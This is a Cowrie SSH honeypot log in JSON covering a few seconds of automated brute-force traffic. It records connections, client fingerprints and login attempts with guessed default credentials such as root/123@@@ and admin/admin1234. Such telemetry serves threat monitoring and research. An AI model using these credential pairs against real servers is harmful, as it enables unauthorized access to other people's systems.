{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:13.424133Z","src_ip":"91.92.40.36","session":"e3f494527b95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":62624,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ff6919de77c","protocol":"ssh","message":"New connection: 45.153.34.195:62624 (10.17.0.5:22) [session: 7ff6919de77c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:13.854390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:13.862550Z","src_ip":"45.153.34.195","session":"7ff6919de77c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:13.943659Z","src_ip":"45.153.34.195","session":"7ff6919de77c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Qwerty","message":"login attempt [test/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:14.189033Z","src_ip":"45.153.34.195","session":"7ff6919de77c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":59432,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6f1ae702a64","protocol":"ssh","message":"New connection: 23.175.50.52:59432 (10.17.0.5:22) [session: e6f1ae702a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:14.291561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:14.296064Z","src_ip":"23.175.50.52","session":"e6f1ae702a64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:14.433083Z","src_ip":"23.175.50.52","session":"e6f1ae702a64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:15.273334Z","src_ip":"45.153.34.195","session":"7ff6919de77c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:15.826709Z","src_ip":"23.175.50.52","session":"e6f1ae702a64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":62634,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ab18e950c75","protocol":"ssh","message":"New connection: 45.153.34.195:62634 (10.17.0.5:22) [session: 3ab18e950c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:16.630497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:16.655758Z","src_ip":"45.153.34.195","session":"3ab18e950c75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:16.785769Z","src_ip":"45.153.34.195","session":"3ab18e950c75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":62144,"dst_ip":"10.17.0.5","dst_port":22,"session":"aff31d56ae6d","protocol":"ssh","message":"New connection: 91.92.40.36:62144 (10.17.0.5:22) [session: aff31d56ae6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:17.160820Z"}
{"eventid":"cowrie.login.failed","username":"devops","password":"12345","message":"login attempt [devops/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:17.243268Z","src_ip":"45.153.34.195","session":"3ab18e950c75","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:18.131055Z","src_ip":"91.92.40.36","session":"aff31d56ae6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:18.134605Z","src_ip":"91.92.40.36","session":"aff31d56ae6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:18.327249Z","src_ip":"45.153.34.195","session":"3ab18e950c75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:19.476237Z","src_ip":"91.92.40.36","session":"e3f494527b95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":62654,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cea267cf1f8","protocol":"ssh","message":"New connection: 45.153.34.195:62654 (10.17.0.5:22) [session: 1cea267cf1f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:19.834731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:19.849515Z","src_ip":"45.153.34.195","session":"1cea267cf1f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:19.950869Z","src_ip":"45.153.34.195","session":"1cea267cf1f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"1234","message":"login attempt [main/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:20.610491Z","src_ip":"45.153.34.195","session":"1cea267cf1f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:21.697962Z","src_ip":"45.153.34.195","session":"1cea267cf1f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":45278,"dst_ip":"10.17.0.5","dst_port":22,"session":"69289de5cece","protocol":"ssh","message":"New connection: 101.36.122.139:45278 (10.17.0.5:22) [session: 69289de5cece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:22.258364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:22.262736Z","src_ip":"101.36.122.139","session":"69289de5cece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:22.456813Z","src_ip":"91.92.40.36","session":"e3f494527b95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:22.481014Z","src_ip":"101.36.122.139","session":"69289de5cece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:22.835185Z","src_ip":"91.92.40.36","session":"aff31d56ae6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":62186,"dst_ip":"10.17.0.5","dst_port":22,"session":"615de682e33d","protocol":"ssh","message":"New connection: 91.92.40.36:62186 (10.17.0.5:22) [session: 615de682e33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:23.098799Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":51654,"dst_ip":"10.17.0.5","dst_port":22,"session":"35762c8663b1","protocol":"ssh","message":"New connection: 45.153.34.195:51654 (10.17.0.5:22) [session: 35762c8663b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:23.104276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:23.281449Z","src_ip":"45.153.34.195","session":"35762c8663b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:23.284999Z","src_ip":"45.153.34.195","session":"35762c8663b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ys","password":"ys","message":"login attempt [ys/ys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:23.388548Z","src_ip":"101.36.122.139","session":"69289de5cece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch123","message":"login attempt [elasticsearch/elasticsearch123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:23.967399Z","src_ip":"45.153.34.195","session":"35762c8663b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:24.608585Z","src_ip":"101.36.122.139","session":"69289de5cece","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:25.024784Z","src_ip":"91.92.40.36","session":"615de682e33d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:25.028073Z","src_ip":"91.92.40.36","session":"615de682e33d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:25.054073Z","src_ip":"45.153.34.195","session":"35762c8663b1","protocol":"ssh"}
